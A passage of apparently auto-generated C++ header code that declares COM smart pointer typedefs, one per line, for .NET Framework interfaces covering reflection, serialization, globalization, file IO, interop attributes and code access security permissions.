_COM_SMARTPTR_TYPEDEF(_SymDocumentType, __uuidof(_SymDocumentType));
_COM_SMARTPTR_TYPEDEF(_SymLanguageType, __uuidof(_SymLanguageType));
_COM_SMARTPTR_TYPEDEF(_SymLanguageVendor, __uuidof(_SymLanguageVendor));
_COM_SMARTPTR_TYPEDEF(_AmbiguousMatchException, __uuidof(_AmbiguousMatchException));
_COM_SMARTPTR_TYPEDEF(_ModuleResolveEventHandler, __uuidof(_ModuleResolveEventHandler));
_COM_SMARTPTR_TYPEDEF(_AssemblyCopyrightAttribute, __uuidof(_AssemblyCopyrightAttribute));
_COM_SMARTPTR_TYPEDEF(_AssemblyTrademarkAttribute, __uuidof(_AssemblyTrademarkAttribute));
_COM_SMARTPTR_TYPEDEF(_AssemblyProductAttribute, __uuidof(_AssemblyProductAttribute));
_COM_SMARTPTR_TYPEDEF(_AssemblyCompanyAttribute, __uuidof(_AssemblyCompanyAttribute));
_COM_SMARTPTR_TYPEDEF(_AssemblyDescriptionAttribute, __uuidof(_AssemblyDescriptionAttribute));
_COM_SMARTPTR_TYPEDEF(_AssemblyTitleAttribute, __uuidof(_AssemblyTitleAttribute));
_COM_SMARTPTR_TYPEDEF(_AssemblyConfigurationAttribute, __uuidof(_AssemblyConfigurationAttribute));
_COM_SMARTPTR_TYPEDEF(_AssemblyDefaultAliasAttribute, __uuidof(_AssemblyDefaultAliasAttribute));
_COM_SMARTPTR_TYPEDEF(_AssemblyInformationalVersionAttribute, __uuidof(_AssemblyInformationalVersionAttribute));
_COM_SMARTPTR_TYPEDEF(_AssemblyFileVersionAttribute, __uuidof(_AssemblyFileVersionAttribute));
_COM_SMARTPTR_TYPEDEF(_AssemblyCultureAttribute, __uuidof(_AssemblyCultureAttribute));
_COM_SMARTPTR_TYPEDEF(_AssemblyVersionAttribute, __uuidof(_AssemblyVersionAttribute));
_COM_SMARTPTR_TYPEDEF(_AssemblyKeyFileAttribute, __uuidof(_AssemblyKeyFileAttribute));
_COM_SMARTPTR_TYPEDEF(_AssemblyDelaySignAttribute, __uuidof(_AssemblyDelaySignAttribute));
_COM_SMARTPTR_TYPEDEF(_AssemblyAlgorithmIdAttribute, __uuidof(_AssemblyAlgorithmIdAttribute));
_COM_SMARTPTR_TYPEDEF(_AssemblyFlagsAttribute, __uuidof(_AssemblyFlagsAttribute));
_COM_SMARTPTR_TYPEDEF(_AssemblyKeyNameAttribute, __uuidof(_AssemblyKeyNameAttribute));
_COM_SMARTPTR_TYPEDEF(_AssemblyNameProxy, __uuidof(_AssemblyNameProxy));
_COM_SMARTPTR_TYPEDEF(_CustomAttributeFormatException, __uuidof(_CustomAttributeFormatException));
_COM_SMARTPTR_TYPEDEF(_CustomAttributeData, __uuidof(_CustomAttributeData));
_COM_SMARTPTR_TYPEDEF(_DefaultMemberAttribute, __uuidof(_DefaultMemberAttribute));
_COM_SMARTPTR_TYPEDEF(_InvalidFilterCriteriaException, __uuidof(_InvalidFilterCriteriaException));
_COM_SMARTPTR_TYPEDEF(_ManifestResourceInfo, __uuidof(_ManifestResourceInfo));
_COM_SMARTPTR_TYPEDEF(_MemberFilter, __uuidof(_MemberFilter));
_COM_SMARTPTR_TYPEDEF(_Missing, __uuidof(_Missing));
_COM_SMARTPTR_TYPEDEF(_ObfuscateAssemblyAttribute, __uuidof(_ObfuscateAssemblyAttribute));
_COM_SMARTPTR_TYPEDEF(_ObfuscationAttribute, __uuidof(_ObfuscationAttribute));
_COM_SMARTPTR_TYPEDEF(_ExceptionHandlingClause, __uuidof(_ExceptionHandlingClause));
_COM_SMARTPTR_TYPEDEF(_MethodBody, __uuidof(_MethodBody));
_COM_SMARTPTR_TYPEDEF(_LocalVariableInfo, __uuidof(_LocalVariableInfo));
_COM_SMARTPTR_TYPEDEF(_Pointer, __uuidof(_Pointer));
_COM_SMARTPTR_TYPEDEF(_ReflectionTypeLoadException, __uuidof(_ReflectionTypeLoadException));
_COM_SMARTPTR_TYPEDEF(_StrongNameKeyPair, __uuidof(_StrongNameKeyPair));
_COM_SMARTPTR_TYPEDEF(_TargetException, __uuidof(_TargetException));
_COM_SMARTPTR_TYPEDEF(_TargetInvocationException, __uuidof(_TargetInvocationException));
_COM_SMARTPTR_TYPEDEF(_TargetParameterCountException, __uuidof(_TargetParameterCountException));
_COM_SMARTPTR_TYPEDEF(_TypeDelegator, __uuidof(_TypeDelegator));
_COM_SMARTPTR_TYPEDEF(_TypeFilter, __uuidof(_TypeFilter));
_COM_SMARTPTR_TYPEDEF(_FormatterConverter, __uuidof(_FormatterConverter));
_COM_SMARTPTR_TYPEDEF(_FormatterServices, __uuidof(_FormatterServices));
_COM_SMARTPTR_TYPEDEF(_OptionalFieldAttribute, __uuidof(_OptionalFieldAttribute));
_COM_SMARTPTR_TYPEDEF(_OnSerializingAttribute, __uuidof(_OnSerializingAttribute));
_COM_SMARTPTR_TYPEDEF(_OnSerializedAttribute, __uuidof(_OnSerializedAttribute));
_COM_SMARTPTR_TYPEDEF(_OnDeserializingAttribute, __uuidof(_OnDeserializingAttribute));
_COM_SMARTPTR_TYPEDEF(_OnDeserializedAttribute, __uuidof(_OnDeserializedAttribute));
_COM_SMARTPTR_TYPEDEF(_SerializationBinder, __uuidof(_SerializationBinder));
_COM_SMARTPTR_TYPEDEF(_SerializationException, __uuidof(_SerializationException));
_COM_SMARTPTR_TYPEDEF(_SerializationInfo, __uuidof(_SerializationInfo));
_COM_SMARTPTR_TYPEDEF(ISerializable, __uuidof(ISerializable));
_COM_SMARTPTR_TYPEDEF(_SerializationInfoEnumerator, __uuidof(_SerializationInfoEnumerator));
_COM_SMARTPTR_TYPEDEF(_Formatter, __uuidof(_Formatter));
_COM_SMARTPTR_TYPEDEF(_ObjectIDGenerator, __uuidof(_ObjectIDGenerator));
_COM_SMARTPTR_TYPEDEF(_ObjectManager, __uuidof(_ObjectManager));
_COM_SMARTPTR_TYPEDEF(_SurrogateSelector, __uuidof(_SurrogateSelector));
_COM_SMARTPTR_TYPEDEF(_Calendar, __uuidof(_Calendar));
_COM_SMARTPTR_TYPEDEF(_CompareInfo, __uuidof(_CompareInfo));
_COM_SMARTPTR_TYPEDEF(_CultureInfo, __uuidof(_CultureInfo));
_COM_SMARTPTR_TYPEDEF(_CultureNotFoundException, __uuidof(_CultureNotFoundException));
_COM_SMARTPTR_TYPEDEF(_DateTimeFormatInfo, __uuidof(_DateTimeFormatInfo));
_COM_SMARTPTR_TYPEDEF(_DaylightTime, __uuidof(_DaylightTime));
_COM_SMARTPTR_TYPEDEF(_GregorianCalendar, __uuidof(_GregorianCalendar));
_COM_SMARTPTR_TYPEDEF(_HebrewCalendar, __uuidof(_HebrewCalendar));
_COM_SMARTPTR_TYPEDEF(_HijriCalendar, __uuidof(_HijriCalendar));
_COM_SMARTPTR_TYPEDEF(_EastAsianLunisolarCalendar, __uuidof(_EastAsianLunisolarCalendar));
_COM_SMARTPTR_TYPEDEF(_JulianCalendar, __uuidof(_JulianCalendar));
_COM_SMARTPTR_TYPEDEF(_JapaneseCalendar, __uuidof(_JapaneseCalendar));
_COM_SMARTPTR_TYPEDEF(_KoreanCalendar, __uuidof(_KoreanCalendar));
_COM_SMARTPTR_TYPEDEF(_RegionInfo, __uuidof(_RegionInfo));
_COM_SMARTPTR_TYPEDEF(_SortKey, __uuidof(_SortKey));
_COM_SMARTPTR_TYPEDEF(_StringInfo, __uuidof(_StringInfo));
_COM_SMARTPTR_TYPEDEF(_TaiwanCalendar, __uuidof(_TaiwanCalendar));
_COM_SMARTPTR_TYPEDEF(_TextElementEnumerator, __uuidof(_TextElementEnumerator));
_COM_SMARTPTR_TYPEDEF(_TextInfo, __uuidof(_TextInfo));
_COM_SMARTPTR_TYPEDEF(_ThaiBuddhistCalendar, __uuidof(_ThaiBuddhistCalendar));
_COM_SMARTPTR_TYPEDEF(_NumberFormatInfo, __uuidof(_NumberFormatInfo));
_COM_SMARTPTR_TYPEDEF(_Encoding, __uuidof(_Encoding));
_COM_SMARTPTR_TYPEDEF(_Encoder, __uuidof(_Encoder));
_COM_SMARTPTR_TYPEDEF(_Decoder, __uuidof(_Decoder));
_COM_SMARTPTR_TYPEDEF(_ASCIIEncoding, __uuidof(_ASCIIEncoding));
_COM_SMARTPTR_TYPEDEF(_UnicodeEncoding, __uuidof(_UnicodeEncoding));
_COM_SMARTPTR_TYPEDEF(_UTF7Encoding, __uuidof(_UTF7Encoding));
_COM_SMARTPTR_TYPEDEF(_UTF8Encoding, __uuidof(_UTF8Encoding));
_COM_SMARTPTR_TYPEDEF(_MissingManifestResourceException, __uuidof(_MissingManifestResourceException));
_COM_SMARTPTR_TYPEDEF(_MissingSatelliteAssemblyException, __uuidof(_MissingSatelliteAssemblyException));
_COM_SMARTPTR_TYPEDEF(_NeutralResourcesLanguageAttribute, __uuidof(_NeutralResourcesLanguageAttribute));
_COM_SMARTPTR_TYPEDEF(_ResourceManager, __uuidof(_ResourceManager));
_COM_SMARTPTR_TYPEDEF(_ResourceReader, __uuidof(_ResourceReader));
_COM_SMARTPTR_TYPEDEF(_ResourceSet, __uuidof(_ResourceSet));
_COM_SMARTPTR_TYPEDEF(_ResourceWriter, __uuidof(_ResourceWriter));
_COM_SMARTPTR_TYPEDEF(_SatelliteContractVersionAttribute, __uuidof(_SatelliteContractVersionAttribute));
_COM_SMARTPTR_TYPEDEF(_Registry, __uuidof(_Registry));
_COM_SMARTPTR_TYPEDEF(_RegistryKey, __uuidof(_RegistryKey));
_COM_SMARTPTR_TYPEDEF(_AllMembershipCondition, __uuidof(_AllMembershipCondition));
_COM_SMARTPTR_TYPEDEF(_ApplicationDirectory, __uuidof(_ApplicationDirectory));
_COM_SMARTPTR_TYPEDEF(_ApplicationDirectoryMembershipCondition, __uuidof(_ApplicationDirectoryMembershipCondition));
_COM_SMARTPTR_TYPEDEF(_ApplicationSecurityInfo, __uuidof(_ApplicationSecurityInfo));
_COM_SMARTPTR_TYPEDEF(_ApplicationSecurityManager, __uuidof(_ApplicationSecurityManager));
_COM_SMARTPTR_TYPEDEF(_ApplicationTrust, __uuidof(_ApplicationTrust));
_COM_SMARTPTR_TYPEDEF(_ApplicationTrustCollection, __uuidof(_ApplicationTrustCollection));
_COM_SMARTPTR_TYPEDEF(_ApplicationTrustEnumerator, __uuidof(_ApplicationTrustEnumerator));
_COM_SMARTPTR_TYPEDEF(_CodeGroup, __uuidof(_CodeGroup));
_COM_SMARTPTR_TYPEDEF(_Evidence, __uuidof(_Evidence));
_COM_SMARTPTR_TYPEDEF(IEvidenceFactory, __uuidof(IEvidenceFactory));
_COM_SMARTPTR_TYPEDEF(IMembershipCondition, __uuidof(IMembershipCondition));
_COM_SMARTPTR_TYPEDEF(IIdentityPermissionFactory, __uuidof(IIdentityPermissionFactory));
_COM_SMARTPTR_TYPEDEF(_FileCodeGroup, __uuidof(_FileCodeGroup));
_COM_SMARTPTR_TYPEDEF(_FirstMatchCodeGroup, __uuidof(_FirstMatchCodeGroup));
_COM_SMARTPTR_TYPEDEF(_TrustManagerContext, __uuidof(_TrustManagerContext));
_COM_SMARTPTR_TYPEDEF(IApplicationTrustManager, __uuidof(IApplicationTrustManager));
_COM_SMARTPTR_TYPEDEF(_CodeConnectAccess, __uuidof(_CodeConnectAccess));
_COM_SMARTPTR_TYPEDEF(_NetCodeGroup, __uuidof(_NetCodeGroup));
_COM_SMARTPTR_TYPEDEF(_PermissionRequestEvidence, __uuidof(_PermissionRequestEvidence));
_COM_SMARTPTR_TYPEDEF(_PolicyException, __uuidof(_PolicyException));
_COM_SMARTPTR_TYPEDEF(_PolicyLevel, __uuidof(_PolicyLevel));
_COM_SMARTPTR_TYPEDEF(_PolicyStatement, __uuidof(_PolicyStatement));
_COM_SMARTPTR_TYPEDEF(_Site, __uuidof(_Site));
_COM_SMARTPTR_TYPEDEF(_SiteMembershipCondition, __uuidof(_SiteMembershipCondition));
_COM_SMARTPTR_TYPEDEF(_StrongName, __uuidof(_StrongName));
_COM_SMARTPTR_TYPEDEF(_StrongNameMembershipCondition, __uuidof(_StrongNameMembershipCondition));
_COM_SMARTPTR_TYPEDEF(_UnionCodeGroup, __uuidof(_UnionCodeGroup));
_COM_SMARTPTR_TYPEDEF(_Url, __uuidof(_Url));
_COM_SMARTPTR_TYPEDEF(_UrlMembershipCondition, __uuidof(_UrlMembershipCondition));
_COM_SMARTPTR_TYPEDEF(_Zone, __uuidof(_Zone));
_COM_SMARTPTR_TYPEDEF(_ZoneMembershipCondition, __uuidof(_ZoneMembershipCondition));
_COM_SMARTPTR_TYPEDEF(_GacInstalled, __uuidof(_GacInstalled));
_COM_SMARTPTR_TYPEDEF(_GacMembershipCondition, __uuidof(_GacMembershipCondition));
_COM_SMARTPTR_TYPEDEF(_Hash, __uuidof(_Hash));
_COM_SMARTPTR_TYPEDEF(_HashMembershipCondition, __uuidof(_HashMembershipCondition));
_COM_SMARTPTR_TYPEDEF(_Publisher, __uuidof(_Publisher));
_COM_SMARTPTR_TYPEDEF(_PublisherMembershipCondition, __uuidof(_PublisherMembershipCondition));
_COM_SMARTPTR_TYPEDEF(_ClaimsIdentity, __uuidof(_ClaimsIdentity));
_COM_SMARTPTR_TYPEDEF(_GenericIdentity, __uuidof(_GenericIdentity));
_COM_SMARTPTR_TYPEDEF(_ClaimsPrincipal, __uuidof(_ClaimsPrincipal));
_COM_SMARTPTR_TYPEDEF(_GenericPrincipal, __uuidof(_GenericPrincipal));
_COM_SMARTPTR_TYPEDEF(_WindowsIdentity, __uuidof(_WindowsIdentity));
_COM_SMARTPTR_TYPEDEF(_WindowsImpersonationContext, __uuidof(_WindowsImpersonationContext));
_COM_SMARTPTR_TYPEDEF(_WindowsPrincipal, __uuidof(_WindowsPrincipal));
_COM_SMARTPTR_TYPEDEF(_UnmanagedFunctionPointerAttribute, __uuidof(_UnmanagedFunctionPointerAttribute));
_COM_SMARTPTR_TYPEDEF(_DispIdAttribute, __uuidof(_DispIdAttribute));
_COM_SMARTPTR_TYPEDEF(_InterfaceTypeAttribute, __uuidof(_InterfaceTypeAttribute));
_COM_SMARTPTR_TYPEDEF(_ComDefaultInterfaceAttribute, __uuidof(_ComDefaultInterfaceAttribute));
_COM_SMARTPTR_TYPEDEF(_ClassInterfaceAttribute, __uuidof(_ClassInterfaceAttribute));
_COM_SMARTPTR_TYPEDEF(_ComVisibleAttribute, __uuidof(_ComVisibleAttribute));
_COM_SMARTPTR_TYPEDEF(_TypeLibImportClassAttribute, __uuidof(_TypeLibImportClassAttribute));
_COM_SMARTPTR_TYPEDEF(_LCIDConversionAttribute, __uuidof(_LCIDConversionAttribute));
_COM_SMARTPTR_TYPEDEF(_ComRegisterFunctionAttribute, __uuidof(_ComRegisterFunctionAttribute));
_COM_SMARTPTR_TYPEDEF(_ComUnregisterFunctionAttribute, __uuidof(_ComUnregisterFunctionAttribute));
_COM_SMARTPTR_TYPEDEF(_ProgIdAttribute, __uuidof(_ProgIdAttribute));
_COM_SMARTPTR_TYPEDEF(_ImportedFromTypeLibAttribute, __uuidof(_ImportedFromTypeLibAttribute));
_COM_SMARTPTR_TYPEDEF(_IDispatchImplAttribute, __uuidof(_IDispatchImplAttribute));
_COM_SMARTPTR_TYPEDEF(_ComSourceInterfacesAttribute, __uuidof(_ComSourceInterfacesAttribute));
_COM_SMARTPTR_TYPEDEF(_ComConversionLossAttribute, __uuidof(_ComConversionLossAttribute));
_COM_SMARTPTR_TYPEDEF(_TypeLibTypeAttribute, __uuidof(_TypeLibTypeAttribute));
_COM_SMARTPTR_TYPEDEF(_TypeLibFuncAttribute, __uuidof(_TypeLibFuncAttribute));
_COM_SMARTPTR_TYPEDEF(_TypeLibVarAttribute, __uuidof(_TypeLibVarAttribute));
_COM_SMARTPTR_TYPEDEF(_MarshalAsAttribute, __uuidof(_MarshalAsAttribute));
_COM_SMARTPTR_TYPEDEF(_ComImportAttribute, __uuidof(_ComImportAttribute));
_COM_SMARTPTR_TYPEDEF(_GuidAttribute, __uuidof(_GuidAttribute));
_COM_SMARTPTR_TYPEDEF(_PreserveSigAttribute, __uuidof(_PreserveSigAttribute));
_COM_SMARTPTR_TYPEDEF(_InAttribute, __uuidof(_InAttribute));
_COM_SMARTPTR_TYPEDEF(_OutAttribute, __uuidof(_OutAttribute));
_COM_SMARTPTR_TYPEDEF(_OptionalAttribute, __uuidof(_OptionalAttribute));
_COM_SMARTPTR_TYPEDEF(_DllImportAttribute, __uuidof(_DllImportAttribute));
_COM_SMARTPTR_TYPEDEF(_StructLayoutAttribute, __uuidof(_StructLayoutAttribute));
_COM_SMARTPTR_TYPEDEF(_FieldOffsetAttribute, __uuidof(_FieldOffsetAttribute));
_COM_SMARTPTR_TYPEDEF(_ComAliasNameAttribute, __uuidof(_ComAliasNameAttribute));
_COM_SMARTPTR_TYPEDEF(_AutomationProxyAttribute, __uuidof(_AutomationProxyAttribute));
_COM_SMARTPTR_TYPEDEF(_PrimaryInteropAssemblyAttribute, __uuidof(_PrimaryInteropAssemblyAttribute));
_COM_SMARTPTR_TYPEDEF(_CoClassAttribute, __uuidof(_CoClassAttribute));
_COM_SMARTPTR_TYPEDEF(_ComEventInterfaceAttribute, __uuidof(_ComEventInterfaceAttribute));
_COM_SMARTPTR_TYPEDEF(_TypeLibVersionAttribute, __uuidof(_TypeLibVersionAttribute));
_COM_SMARTPTR_TYPEDEF(_ComCompatibleVersionAttribute, __uuidof(_ComCompatibleVersionAttribute));
_COM_SMARTPTR_TYPEDEF(_BestFitMappingAttribute, __uuidof(_BestFitMappingAttribute));
_COM_SMARTPTR_TYPEDEF(_DefaultCharSetAttribute, __uuidof(_DefaultCharSetAttribute));
_COM_SMARTPTR_TYPEDEF(_SetWin32ContextInIDispatchAttribute, __uuidof(_SetWin32ContextInIDispatchAttribute));
_COM_SMARTPTR_TYPEDEF(_ExternalException, __uuidof(_ExternalException));
_COM_SMARTPTR_TYPEDEF(_COMException, __uuidof(_COMException));
_COM_SMARTPTR_TYPEDEF(_InvalidOleVariantTypeException, __uuidof(_InvalidOleVariantTypeException));
_COM_SMARTPTR_TYPEDEF(_MarshalDirectiveException, __uuidof(_MarshalDirectiveException));
_COM_SMARTPTR_TYPEDEF(_RuntimeEnvironment, __uuidof(_RuntimeEnvironment));
_COM_SMARTPTR_TYPEDEF(_SEHException, __uuidof(_SEHException));
_COM_SMARTPTR_TYPEDEF(_BStrWrapper, __uuidof(_BStrWrapper));
_COM_SMARTPTR_TYPEDEF(_CurrencyWrapper, __uuidof(_CurrencyWrapper));
_COM_SMARTPTR_TYPEDEF(_DispatchWrapper, __uuidof(_DispatchWrapper));
_COM_SMARTPTR_TYPEDEF(_ErrorWrapper, __uuidof(_ErrorWrapper));
_COM_SMARTPTR_TYPEDEF(_ExtensibleClassFactory, __uuidof(_ExtensibleClassFactory));
_COM_SMARTPTR_TYPEDEF(_InvalidComObjectException, __uuidof(_InvalidComObjectException));
_COM_SMARTPTR_TYPEDEF(_ObjectCreationDelegate, __uuidof(_ObjectCreationDelegate));
_COM_SMARTPTR_TYPEDEF(_SafeArrayRankMismatchException, __uuidof(_SafeArrayRankMismatchException));
_COM_SMARTPTR_TYPEDEF(_SafeArrayTypeMismatchException, __uuidof(_SafeArrayTypeMismatchException));
_COM_SMARTPTR_TYPEDEF(_UnknownWrapper, __uuidof(_UnknownWrapper));
_COM_SMARTPTR_TYPEDEF(_TextWriter, __uuidof(_TextWriter));
_COM_SMARTPTR_TYPEDEF(_Stream, __uuidof(_Stream));
_COM_SMARTPTR_TYPEDEF(IServerResponseChannelSinkStack, __uuidof(IServerResponseChannelSinkStack));
_COM_SMARTPTR_TYPEDEF(_BinaryReader, __uuidof(_BinaryReader));
_COM_SMARTPTR_TYPEDEF(_BinaryWriter, __uuidof(_BinaryWriter));
_COM_SMARTPTR_TYPEDEF(_BufferedStream, __uuidof(_BufferedStream));
_COM_SMARTPTR_TYPEDEF(_Directory, __uuidof(_Directory));
_COM_SMARTPTR_TYPEDEF(_FileSystemInfo, __uuidof(_FileSystemInfo));
_COM_SMARTPTR_TYPEDEF(_DirectoryInfo, __uuidof(_DirectoryInfo));
_COM_SMARTPTR_TYPEDEF(_IOException, __uuidof(_IOException));
_COM_SMARTPTR_TYPEDEF(_DirectoryNotFoundException, __uuidof(_DirectoryNotFoundException));
_COM_SMARTPTR_TYPEDEF(_DriveInfo, __uuidof(_DriveInfo));
_COM_SMARTPTR_TYPEDEF(_DriveNotFoundException, __uuidof(_DriveNotFoundException));
_COM_SMARTPTR_TYPEDEF(_EndOfStreamException, __uuidof(_EndOfStreamException));
_COM_SMARTPTR_TYPEDEF(_File, __uuidof(_File));
_COM_SMARTPTR_TYPEDEF(_FileInfo, __uuidof(_FileInfo));
_COM_SMARTPTR_TYPEDEF(_FileLoadException, __uuidof(_FileLoadException));
_COM_SMARTPTR_TYPEDEF(_FileNotFoundException, __uuidof(_FileNotFoundException));
_COM_SMARTPTR_TYPEDEF(_FileStream, __uuidof(_FileStream));
_COM_SMARTPTR_TYPEDEF(_MemoryStream, __uuidof(_MemoryStream));
_COM_SMARTPTR_TYPEDEF(_Path, __uuidof(_Path));
_COM_SMARTPTR_TYPEDEF(_PathTooLongException, __uuidof(_PathTooLongException));
_COM_SMARTPTR_TYPEDEF(_TextReader, __uuidof(_TextReader));
_COM_SMARTPTR_TYPEDEF(_StreamReader, __uuidof(_StreamReader));
_COM_SMARTPTR_TYPEDEF(_StreamWriter, __uuidof(_StreamWriter));
_COM_SMARTPTR_TYPEDEF(_StringReader, __uuidof(_StringReader));
_COM_SMARTPTR_TYPEDEF(_StringWriter, __uuidof(_StringWriter));
_COM_SMARTPTR_TYPEDEF(_AccessedThroughPropertyAttribute, __uuidof(_AccessedThroughPropertyAttribute));
_COM_SMARTPTR_TYPEDEF(_CallConvCdecl, __uuidof(_CallConvCdecl));
_COM_SMARTPTR_TYPEDEF(_CallConvStdcall, __uuidof(_CallConvStdcall));
_COM_SMARTPTR_TYPEDEF(_CallConvThiscall, __uuidof(_CallConvThiscall));
_COM_SMARTPTR_TYPEDEF(_CallConvFastcall, __uuidof(_CallConvFastcall));
_COM_SMARTPTR_TYPEDEF(_CustomConstantAttribute, __uuidof(_CustomConstantAttribute));
_COM_SMARTPTR_TYPEDEF(_DateTimeConstantAttribute, __uuidof(_DateTimeConstantAttribute));
_COM_SMARTPTR_TYPEDEF(_DiscardableAttribute, __uuidof(_DiscardableAttribute));
_COM_SMARTPTR_TYPEDEF(_DecimalConstantAttribute, __uuidof(_DecimalConstantAttribute));
_COM_SMARTPTR_TYPEDEF(_CompilationRelaxationsAttribute, __uuidof(_CompilationRelaxationsAttribute));
_COM_SMARTPTR_TYPEDEF(_CompilerGlobalScopeAttribute, __uuidof(_CompilerGlobalScopeAttribute));
_COM_SMARTPTR_TYPEDEF(_IndexerNameAttribute, __uuidof(_IndexerNameAttribute));
_COM_SMARTPTR_TYPEDEF(_IsVolatile, __uuidof(_IsVolatile));
_COM_SMARTPTR_TYPEDEF(_MethodImplAttribute, __uuidof(_MethodImplAttribute));
_COM_SMARTPTR_TYPEDEF(_RequiredAttributeAttribute, __uuidof(_RequiredAttributeAttribute));
_COM_SMARTPTR_TYPEDEF(_IsCopyConstructed, __uuidof(_IsCopyConstructed));
_COM_SMARTPTR_TYPEDEF(_NativeCppClassAttribute, __uuidof(_NativeCppClassAttribute));
_COM_SMARTPTR_TYPEDEF(_IDispatchConstantAttribute, __uuidof(_IDispatchConstantAttribute));
_COM_SMARTPTR_TYPEDEF(_IUnknownConstantAttribute, __uuidof(_IUnknownConstantAttribute));
_COM_SMARTPTR_TYPEDEF(_SecurityElement, __uuidof(_SecurityElement));
_COM_SMARTPTR_TYPEDEF(ISecurityEncodable, __uuidof(ISecurityEncodable));
_COM_SMARTPTR_TYPEDEF(ISecurityPolicyEncodable, __uuidof(ISecurityPolicyEncodable));
_COM_SMARTPTR_TYPEDEF(_XmlSyntaxException, __uuidof(_XmlSyntaxException));
_COM_SMARTPTR_TYPEDEF(_CodeAccessPermission, __uuidof(_CodeAccessPermission));
_COM_SMARTPTR_TYPEDEF(_EnvironmentPermission, __uuidof(_EnvironmentPermission));
_COM_SMARTPTR_TYPEDEF(_FileDialogPermission, __uuidof(_FileDialogPermission));
_COM_SMARTPTR_TYPEDEF(_FileIOPermission, __uuidof(_FileIOPermission));
_COM_SMARTPTR_TYPEDEF(_SecurityAttribute, __uuidof(_SecurityAttribute));
_COM_SMARTPTR_TYPEDEF(_CodeAccessSecurityAttribute, __uuidof(_CodeAccessSecurityAttribute));
_COM_SMARTPTR_TYPEDEF(_HostProtectionAttribute, __uuidof(_HostProtectionAttribute));
_COM_SMARTPTR_TYPEDEF(_IsolatedStoragePermission, __uuidof(_IsolatedStoragePermission));
_COM_SMARTPTR_TYPEDEF(_IsolatedStorageFilePermission, __uuidof(_IsolatedStorageFilePermission));
_COM_SMARTPTR_TYPEDEF(_EnvironmentPermissionAttribute, __uuidof(_EnvironmentPermissionAttribute));
_COM_SMARTPTR_TYPEDEF(_FileDialogPermissionAttribute, __uuidof(_FileDialogPermissionAttribute));
_COM_SMARTPTR_TYPEDEF(_FileIOPermissionAttribute, __uuidof(_FileIOPermissionAttribute));
_COM_SMARTPTR_TYPEDEF(_KeyContainerPermissionAttribute, __uuidof(_KeyContainerPermissionAttribute));
_COM_SMARTPTR_TYPEDEF(_PrincipalPermissionAttribute, __uuidof(_PrincipalPermissionAttribute));
_COM_SMARTPTR_TYPEDEF(_ReflectionPermissionAttribute, __uuidof(_ReflectionPermissionAttribute));
_COM_SMARTPTR_TYPEDEF(_RegistryPermissionAttribute, __uuidof(_RegistryPermissionAttribute));
_COM_SMARTPTR_TYPEDEF(_SecurityPermissionAttribute, __uuidof(_SecurityPermissionAttribute));
_COM_SMARTPTR_TYPEDEF(_UIPermissionAttribute, __uuidof(_UIPermissionAttribute));
_COM_SMARTPTR_TYPEDEF(_ZoneIdentityPermissionAttribute, __uuidof(_ZoneIdentityPermissionAttribute));
_COM_SMARTPTR_TYPEDEF(_StrongNameIdentityPermissionAttribute, __uuidof(_StrongNameIdentityPermissionAttribute));
_COM_SMARTPTR_TYPEDEF(_SiteIdentityPermissionAttribute, __uuidof(_SiteIdentityPermissionAttribute));
_COM_SMARTPTR_TYPEDEF(_UrlIdentityPermissionAttribute, __uuidof(_UrlIdentityPermissionAttribute));
_COM_SMARTPTR_TYPEDEF(_PublisherIdentityPermissionAttribute, __uuidof(_PublisherIdentityPermissionAttribute));
_COM_SMARTPTR_TYPEDEF(_IsolatedStoragePermissionAttribute, __uuidof(_IsolatedStoragePermissionAttribute));
_COM_SMARTPTR_TYPEDEF(_IsolatedStorageFilePermissionAttribute, __uuidof(_IsolatedStorageFilePermissionAttribute));
_COM_SMARTPTR_TYPEDEF(_PermissionSetAttribute, __uuidof(_PermissionSetAttribute));
_COM_SMARTPTR_TYPEDEF(_ReflectionPermission, __uuidof(_ReflectionPermission));
_COM_SMARTPTR_TYPEDEF(_PrincipalPermission, __uuidof(_PrincipalPermission));
_COM_SMARTPTR_TYPEDEF(_SecurityPermission, __uuidof(_SecurityPermission));
_COM_SMARTPTR_TYPEDEF(_SiteIdentityPermission, __uuidof(_SiteIdentityPermission));
_COM_SMARTPTR_TYPEDEF(_StrongNameIdentityPermission, __uuidof(_StrongNameIdentityPermission));
_COM_SMARTPTR_TYPEDEF(_StrongNamePublicKeyBlob, __uuidof(_StrongNamePublicKeyBlob));
_COM_SMARTPTR_TYPEDEF(_UIPermission, __uuidof(_UIPermission));
_COM_SMARTPTR_TYPEDEF(_UrlIdentityPermission, __uuidof(_UrlIdentityPermission));
_COM_SMARTPTR_TYPEDEF(_ZoneIdentityPermission, __uuidof(_ZoneIdentityPermission));
_COM_SMARTPTR_TYPEDEF(_GacIdentityPermissionAttribute, __uuidof(_GacIdentityPermissionAttribute));
_COM_SMARTPTR_TYPEDEF(_GacIdentityPermission, __uuidof(_GacIdentityPermission));
_COM_SMARTPTR_TYPEDEF(_KeyContainerPermissionAccessEntry, __uuidof(_KeyContainerPermissionAccessEntry));
_COM_SMARTPTR_TYPEDEF(_KeyContainerPermissionAccessEntryCollection, __uuidof(_KeyContainerPermissionAccessEntryCollection));
_COM_SMARTPTR_TYPEDEF(_KeyContainerPermissionAccessEntryEnumerator, __uuidof(_KeyContainerPermissionAccessEntryEnumerator));
_COM_SMARTPTR_TYPEDEF(_KeyContainerPermission, __uuidof(_KeyContainerPermission));
_COM_SMARTPTR_TYPEDEF(_PublisherIdentityPermission, __uuidof(_PublisherIdentityPermission));
_COM_SMARTPTR_TYPEDEF(_RegistryPermission, __uuidof(_RegistryPermission));
_COM_SMARTPTR_TYPEDEF(_SuppressUnmanagedCodeSecurityAttribute, __uuidof(_SuppressUnmanagedCodeSecurityAttribute));
_COM_SMARTPTR_TYPEDEF(_UnverifiableCodeAttribute, __uuidof(_UnverifiableCodeAttribute));
_COM_SMARTPTR_TYPEDEF(_AllowPartiallyTrustedCallersAttribute, __uuidof(_AllowPartiallyTrustedCallersAttribute));
_COM_SMARTPTR_TYPEDEF(_HostSecurityManager, __uuidof(_HostSecurityManager));
_COM_SMARTPTR_TYPEDEF(_PermissionSet, __uuidof(_PermissionSet));
_COM_SMARTPTR_TYPEDEF(_NamedPermissionSet, __uuidof(_NamedPermissionSet));
_COM_SMARTPTR_TYPEDEF(_SecurityException, __uuidof(_SecurityException));
_COM_SMARTPTR_TYPEDEF(_HostProtectionException, __uuidof(_HostProtectionException));
_COM_SMARTPTR_TYPEDEF(_SecurityManager, __uuidof(_SecurityManager));
_COM_SMARTPTR_TYPEDEF(_VerificationException, __uuidof(_VerificationException));
